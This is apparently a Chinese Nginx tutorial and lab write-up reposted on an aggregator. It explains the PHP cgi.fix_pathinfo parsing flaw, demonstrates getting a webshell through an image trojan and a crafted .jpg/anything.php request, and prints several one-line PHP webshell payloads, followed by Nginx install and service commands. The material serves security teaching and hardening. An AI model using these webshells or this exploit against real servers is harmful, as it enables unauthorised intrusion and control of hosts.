运维知识点-Nginx

在这里插入图片描述

Nginx

  • Nginx解析安全实战
        • 预备知识
        • 实验目的
          • #制作图片木马#
  • web服务器-Nginx服务命令及配置
  • centOS7安装
    • 安装所需插件
        • 安装gcc
        • pcre、pcre-devel安装
        • zlib安装
        • 安装openssl

Nginx解析安全实战

预备知识

Nginx+PHP/FastCGI构建的WEB服务器工作原理

  1. Nginx|FastCGI简介

Nginx (“engine x”) 是一个高性能的 HTTP和反向代理服务器,
Nginx作为WEB服务器可以处理静态文件,
索引文件以及自动索引,
能够使用缓存加速反向代理,
并提供简单的负载均衡及容错、模块化的架构等功能。

  Nginx由内核和模块组成,其中,内核的设计非常微小和简洁,完成的工作也非常简单,仅仅通过查找配置文件将客户端请求映射到一个location block(location是Nginx配置中的一个指令,用于URL匹配),而在这个location中所配置的每个指令将会启动不同的模块去完成相应的工作。Nginx的模块从结构上分为核心模块、基础模块和第三方模块:1)核心模块:HTTP模块、EVENT模块和MAIL模块;2)基础模块:HTTP Access模块、HTTP FastCGI模块、HTTP Proxy模块和HTTP Rewrite模块;3)第三方模块:HTTP Upstream Request Hash模块、Notice模块和HTTP Access Key模块。用户根据自己的需要开发的模块都属于第三方模块。正是有了这么多模块的支撑,Nginx的功能才会如此强大。Nginx的模块从功能上分为如下三类。1)Handlers(处理器模块):此类模块直接处理请求,并进行输出内容和修改headers信息等操作。Handlers处理器模块一般只能有一个。2)Filters (过滤器模块):此类模块主要对其他处理器模块输出的内容进行修改操作,最后由Nginx输出。3)Proxies (代理类模块):此类模块是Nginx的HTTP Upstream之类的模块,这些模块主要与后端一些服务比如FastCGI等进行交互,实现服务代理和负载均衡等功能。Nginx模块常规的HTTP请求和响应的过程:

在这里插入图片描述*********************************************************************


  FastCGI(CGI: Common Gateway Interface, “公共网关接口”)是一个可伸缩地、高速地在HTTP server和动态脚本语言间通信的接口。多数流行的HTTP server都支持FastCGI,包括Apache、Nginx和lighttpd等,同时,FastCGI也被许多脚本语言所支持,其中就有PHP。FastCGI接口方式采用C/S结构,可以将HTTP服务器和脚本解析服务器分开,同时在脚本解析服务器上启动一个或者多个脚本解析守护进程。当HTTP服务器每次遇到动态程序时,可以将其直接交付给FastCGI进程来执行,然后将得到的结果返回给浏览器。这种方式可以让HTTP服务器专一地处理静态请求或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高了整个应用系统的性能。但Nginx本身并不支持对PHP进行解析,因此Nginx在作为PHP应用的WEB服务器时,实际上是通过反向代理功能将对PHP页面的请求快速地转交给诸如FastCGI这样的通讯接口转发给PHP进行解析。
  1. Nginx+PHP/FastCGI运行原理

    Nginx不支持对外部程序的直接调用或者解析,
    所有的外部程序(包括PHP)必须通过FastCGI接口来调用。
    FastCGI接口在Linux下是socket
    (这个socket可以是文件socket,也可以是ip socket)。

    wrapper:为了调用CGI程序,还需要一个FastCGI的wrapper
    (wrapper可以理解为用于启动另一个程序的程序),
    这个wrapper绑定在某个固定socket上,如端口或者文件socket。
    当Nginx将CGI请求发送给这个socket的时候,通过FastCGI接口,wrapper接收到请求,
    然后Fork(派生)出一个新的线程,
    这个线程调用解释器或者外部程序处理脚本并读取返回数据;
    接着,wrapper再将返回的数据通过FastCGI接口,沿着固定的socket传递给Nginx;
    最后,Nginx将返回的数据(html页面或者图片)发送给客户端。
    这就是Nginx+FastCGI的整个运作过程,如下图所示。在这里插入图片描述

所以,我们首先需要一个wrapper,需要完成的工作:

  (1).通过调用fastcgi(库)的函数通过socket和ningx通信(读写socket是fastcgi内部实现的功能,对wrapper是非透明的);(2).调度thread,进行fork和kill;(3).和application(php)进行通信。这个wrapper就是FastCGI进程管理器,也可以称为FastCGI引擎,FastCGI进程管理器在脚本解析服务器上启动一个或者多个守护进程对动态脚本进行解析,而HTTPServer可以完全解放出来,更好地进行响应和并发处理。PHP-FPM就是支持PHP的一种FastCGI进程管理器。其整体工作流程:(1).FastCGI进程管理器php-fpm自身初始化,启动主进程php-fpm和启动start_servers个CGI 子进程。主进程php-fpm主要是管理fastcgi子进程,监听服务端口。fastcgi子进程等待来自Web Server的连接。(2).当客户端请求到达Web Server Nginx是时,Nginx通过location指令,将所有以php为后缀的文件都交给127.0.0.1:xxxx来处理,即Nginx通过location指令,将所有以php为后缀的文件都交给127.0.0.1:xxxx来处理。(3).FastCGI进程管理器PHP-FPM选择并连接到一个子进程CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程。(4).FastCGI子进程完成处理后将标准输出和错误信息从同一连接返回Web Server。当FastCGI子进程关闭连接时,请求便告处理完成。(5).FastCGI子进程接着等待并处理来自FastCGI进程管理器(运行在 WebServer中)的下一个连接。

PHP CGI 中 fix_pathinfo 引起的解析漏洞分析
这个安全问题最早被人所了解是通过国内安全组织80sec的一篇文章
《nginx文件类型错误解析漏洞》
文章指出当Nginx配置FastCGI使用PHP时,
会将诸如http://www.test.com/test.jpg/anything.php 这样的请求,
把test.jpg当作PHP文件来进行解析,而anything.php这个文件并不存在。
实际上这并不是一个Nginx的漏洞,而是
PHP5默认配置的缺陷造成的。
在这里插入图片描述问题的本质是什么呢?

  比如, 下面的Nginx conf(Nginx配置文件):

location ~ .php($|/) {

     fastcgi_pass   127.0.0.1:9000;fastcgi_index  index.php;set $script    $uri;set $path_info "";if ($uri ~ "^(.+\.php)(/.*)") {set  $script     $1;set  $path_info  $2;}include       fastcgi_params;fastcgi_param SCRIPT_FILENAME   $document_root$script;fastcgi_param SCRIPT_NAME       $script;fastcgi_param PATH_INFO         $path_info;}
  当我们发出http://www.test.com/test.jpg/anything.php这样的请求时,通过“^(.+\.php)(/.*)”这段正则匹配后,SCRIPT_NAME会被设置为“test.jpg/anything.php”,继而构造成SCRIPT_FILENAME传递给整个PHP CGI,但是PHP又为什么会接受这样的参数,并且把test.jpg解析了呢?问题就在于PHP的CGI SAPI中的参数cgi.fix_pathinfo这个参数了。关于cgi.fix_pathinfo这个参数的描述:
; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI.  PHP's; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok; what PATH_INFO is.  For more information on PATH_INFO, see the cgi specs.  Setting; this to 1 will cause PHP CGI to fix it's paths to conform to the spec.  A setting; of zero causes PHP to behave as before.  Default is 1.  You should fix your scripts; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.cgi.fix_pathinfo=1
  上述描述了默认情况cgi.fix_pathinfo的值为1,那么如果开启了这个选项,就会触发在PHP中的如下逻辑:
/** if the file doesn't exist, try to extract PATH_INFO out* of it by stat'ing back through the '/'* this fixes url's like /info.php/test*/if (script_path_translated &&(script_path_translated_len = strlen(script_path_translated)) > 0 &&(script_path_translated[script_path_translated_len-1] == '/' ||....//以下省略.
  PHP CGI 以 / 为分隔符号从后向前依次检查路径,当检测到test.jpg/anything.php时,PHP会认为SCRIPT_FILENAME是test.jpg, 而anything.php是PATH_INFO,然后PHP就把test.jpg当作一个PHP文件来解释执行。在很多使用 php-fpm (<0.6) 的主机中也会出现这个问题,但新的 php-fpm 的已经关闭了 cgi.fix_pathinfo。



实验目的

了解Nginx的工作原理,理解Nginx畸形解析漏洞的形成原因;

掌握Nginx几种常见的漏洞测试及利用方法;

掌握Nginx基本的安全加固策略



在这里插入图片描述在这里插入图片描述
在这里插入图片描述

  1. 根据前面的漏洞分析,结合图片木马技术对测试站点进行实战测试,并成功获取目标站点的webshell;
  2. 构造一个可以正常显示的图片木马,给出你操作的截图,说一说你还有什么其他的思路;
  3. 针对这个漏洞站点,给出你的加固策略



#制作图片木马#
  提示:请使用windows的画图自己画一张图片,另存为jpg

(/b二进制binary模式,/a ascii模式)

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 访问这个地址并在.jpg后加上/anything.php进行测试
    在这里插入图片描述
  • 解析报语法错误说明将图片当作应用程序执行。
  • 菜刀连接这个地址,得到权限
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
<?php eval($_POST[s])?><?php @eval($_POST[c])?><?php system($_REQUEST['cmd']);?><?php assert($_POST[c]);?><?fputs(fopen(c.php,w),<?eval($_POST[c]);?>)?>

思路扩展:

  Exif、伪装图片头等

web服务器-Nginx服务命令及配置

centOS7安装

高性能的HTTP和反向代理

转发配置

Server{ listen server_name root location /{ } location~ }

安装所需插件

安装gcc
gcc是linux下的编译器
可以编译 C,C++,Ada,Object C和Java等语言

命令:查看gcc版本

 gcc -v

在这里插入图片描述

  • 一般阿里云的centOS7里面是都有

安装命令:

yum -y install gcc
pcre、pcre-devel安装
pcre是一个perl库,包括perl兼容的正则表达式库,
nginx的http模块使用pcre来解析正则表达式,所以需要安装pcre库。

安装命令:

yum install -y zlib zlib-devel
zlib安装
zlib库提供了很多种压缩和解压缩方式
nginx使用zlib对http包的内容进行gzip,所以需要安装

安装命令:

yum install -y pcre pcre-devel
安装openssl

openssl是web安全通信的基石,没有openssl,可以说我们的信息都是在裸奔。。。。。。

安装命令:

yum install -y openssl openssl-devel

1.停止Nginx服务的四种方法

从容停止服务
这种方法较stop相比就比较温和一些了,需要进程完成当前工作后再停止。

nginx -s quit

立即停止服务
这种方法比较强硬,无论进程是否在工作,都直接停止进程。

nginx -s stop

systemctl 停止
systemctl属于Linux命令

systemctl stop nginx.service

killall 方法杀死进程
直接杀死进程,在上面无效的情况下使用,态度强硬,简单粗暴!

killall nginx

2.启动Nginx

nginx直接启动

nginx

systemctl命令启动

systemctl start nginx.service

3.查看启动后记录

ps aux | grep nginx

4.重启Nginx服务

systemctl restart nginx.service

5.重新载入配置文件
当有系统配置文件有修改,用此命令,建议不要停止再重启,以防报错!

nginx -s reload

6.查看端口号

netstat -tlnp 

通过配置nginx的配置文件/usr/local/nginx/conf/nginx.conf实现开关效果

1.启用缓存

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|js|css)$ {#设置缓存上面定义的后缀文件缓存到浏览器的生存时间expires   3d;
}

2.禁用缓存

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|js|css)$ {#禁止缓存,每次都从服务器请求add_header Cache-Control no-store;
}

ps -ef | grep nginx

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/186916.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

云轴科技ZStack信创云平台助力国泰君安期货实现信创改造

信创是数字中国建设的重要组成部分&#xff0c;也是数字经济发展的关键推动力量。作为云基础软件企业&#xff0c;云轴科技ZStack 产品矩阵全面覆盖数据中心云基础设施&#xff0c;ZStack信创云首批通过可信云《一云多芯IaaS平台能力要求》先进级&#xff0c;是其中唯一兼容四种…

数据爬取+数据可视化实战_哪里只得我共你(Dear Jane)_词云展示----网易云

一、前言 歌词上做文本分析&#xff0c;数据存储在网页上&#xff0c;需要爬取数据下来&#xff0c;词云展示在工作中也变得日益重要&#xff0c;接下来将数据爬虫与可视化结合起来&#xff0c;做个词云展示案例。 二、操作步骤 代码如下&#xff1a; # -*- coding:utf-8 -*-…

【ArcGIS Pro二次开发】(78):批量合并GDB数据库

有些GDB数据库会按分幅或行政区划进行分开储存&#xff0c;尤其是一些地形测绘或国情地理数据。 如下图所示&#xff1a; 数据是完整的&#xff0c;但使用的时候要一个一个拖进地图中&#xff0c;进行分析的时候也需要将其合并后使用。 因此就做了这个合库工具。 一、要实现的…

红队专题-fuzz技巧

红队专题 0x00 知己知彼常见 waf 收集SecureSphere (Imperva)西数WTS-WAF安全狗D盾腾讯云 waf阿里云云盾Web应用防火墙云锁UPUPW安全防护宝塔网站防火墙网防G01护卫神智创防火墙腾讯云玄武盾ISG 0x01 waf 绕过(过狗)姿势 举例SQL注入篇1.内联注释绕过2.等价替换法&#xff1a;3…

单片机AVR单片机病房控制系统设计+源程序

一、系统方案 设计一个可容8张床位的病房呼叫系统。要求每个床位都有一个按钮&#xff0c;当患者需要呼叫护士时&#xff0c;按下按钮&#xff0c;此时护士值班室内的呼叫系统板上显示该患者的床位号&#xff0c;并蜂鸣器报警。当护士按下“响应”键时&#xff0c;结束当前呼叫…

程序/进程替换(讲解)

本文旨在讲解进程替换的知识&#xff01;希望读完本文&#xff0c;能使读者对进程替换有更深一步的认识&#xff01;&#xff01;好的&#xff0c;废话不多说&#xff0c;干货来了&#xff01; 进程替换的引进&#xff01; 为什么要引进进程替换呢&#xff1f;我们创建子进程总…

Achronix推出基于FPGA的加速自动语音识别解决方案

提供超低延迟和极低错误率&#xff08;WER&#xff09;的实时流式语音转文本解决方案&#xff0c;可同时运行超过1000个并发语音流 2023年11月——高性能FPGA芯片和嵌入式FPGA&#xff08;eFPGA IP&#xff09;领域的领先企业Achronix半导体公司日前自豪地宣布&#xff1a;正式…

ethtool工具添加并验证网口

Filesystem Packages->console->network->ethtool 命令描述&#xff1a; ethtool 是用于查询及设置网卡参数的命令。 使用命令&#xff1a; ethtool ethx //查询ethx网口基本设置&#xff0c;其中 x 是对应网卡的编号&#xff0c;如eth0、eth1等等 ethtool –…

【NodeJS】 API Key 实现 短信验证码功能

这里使用的平台是 短信宝整体来讲还是挺麻烦的平台必须企业才行&#xff0c;个人是无法使用该平台的 平台必须完成 身份信息认证 和 企业认证 这里就需要 “营业执照”了 &#xff0c;没有 “营业执照” 的朋友还是后退一步吧 后端我用的是NodeJS &#xff0c;使用第三方库 ro…

统信UOS和vue.js的一个兼容问题

作者&#xff1a;朱金灿 来源&#xff1a;clever101的专栏 为什么大多数人学不会人工智能编程&#xff1f;>>> 这事到现在说起还很奇怪&#xff0c;在UOS20&#xff08;硬件为华为鲲鹏服务器&#xff0c;arm架构&#xff0c;g8.3&#xff09;上部署uve.js&#xff0…

linux NAT网卡配置static

由于是内网&#xff0c;资料无法拷贝&#xff0c;借助参考资料&#xff0c;整理发出。 镜像安装 基本操作。 查看VM配置 图1&#xff0c;有几个信息。一个是NAT借用了网卡里的VMnet8适配器。 子网IP是从192.168.142.0 子网掩码255.255.255.255&#xff0c;对应下面配置的N…

Java 的第二十章:多线程

创建线程 继承Thread 类 Thread 类时 java.lang 包中的一个类&#xff0c;从类中实例化的对象代表线程&#xff0c;程序员启动一个新线程需要建立 Thread 实例。 Thread 对象需要一个任务来执行&#xff0c;任务是指线程在启动时执行的工作&#xff0c;start() 方法启动线程&am…

11-30 JavaWeb

修改与删除操作 防止空指针异常 localhost:8080 -> 分页查询 修改流程&#xff1a;(先查后改(两个servlet)) 修改&#xff1a; 传用户id(用户id怎么得到 -> 循环一次得到一个user 对象 user对象里用user.getId()得到用户id) UpdateUserQueryServlet.java &#xff08;…

html/css中位置position的绝对位置absolute顺时针盒子案例图片排序

目标图片&#xff1a; Dreamweaver界面&#xff1a; 代码部分&#xff1a; <!doctype html> <html> <head> <meta charset"utf-8"> <title>无标题文档</title> <style type"text/css">.red{background-color:r…

element中el-form-item设置label-width=‘auto‘报错

文章目录 一、问题二、解决三、最后 一、问题 el-form中的设置了全局标题宽度是200px&#xff0c;此时想要对el-form-item取消标题宽度&#xff0c;设置了label-widthauto&#xff0c;结果&#xff0c;报错了~~~ <el-form label-width"200px" label-position&quo…

强大的Kubernetes工具的完整指南

在容器化应用程序编排方面&#xff0c;Kubernetes是市场的领导者。它允许用户在多主机环境中管理容器&#xff0c;提供工作负载分配和网络处理。 此外&#xff0c;它还提供了许多在DevOps过程中至关重要的特性&#xff0c;例如自动扩展、自动修复和负载平衡。这些功能解释了Kub…

Android问题笔记四十八:蓝牙obtainMessage数据传输部分数据丢失乱序问题

Unity3D特效百例案例项目实战源码Android-Unity实战问题汇总游戏脚本-辅助自动化Android控件全解手册再战Android系列Scratch编程案例软考全系列Unity3D学习专栏蓝桥系列ChatGPT和AIGC &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分…

YOLOv8改进 | 2023 | 通过RFAConv重塑空间注意力(深度学习的前沿突破)

一、本文介绍 本文给大家带来的改进机制是RFAConv&#xff0c;全称为Receptive-Field Attention Convolution&#xff0c;是一种全新的空间注意力机制。与传统的空间注意力方法相比&#xff0c;RFAConv能够更有效地处理图像中的细节和复杂模式(适用于所有的检测对象都有一定的…

springboot+jsp+java房屋销售出租赁网站的ssm设计与实现7xcvq

三、研究方案&#xff08;主要研究内容、目标、研究方法等&#xff09; 主要研究内容 房屋租售网站采用的开发框架为springboot框架&#xff0c;也就是Spring mvc、Spring、MyBatis这三个框架&#xff0c;页面设计用的是jsp技术作为动态页面文件设计&#xff0c;jsp文件里可以对…

【多传感器融合】BEVFusion: 激光雷达和视觉融合框架 NeurIPS 2022

前言 BEVFusion其实有两篇&#xff0c; 【1】BEVFusion: A Simple and Robust LiDAR-Camera Fusion Framework. NeurIPS 2022 | 北大&阿里提出 【2】BEVFusion: Multi-Task Multi-Sensor Fusion with Unified Bird’s-Eye View Representation 2022 | MIT提出 本文先分…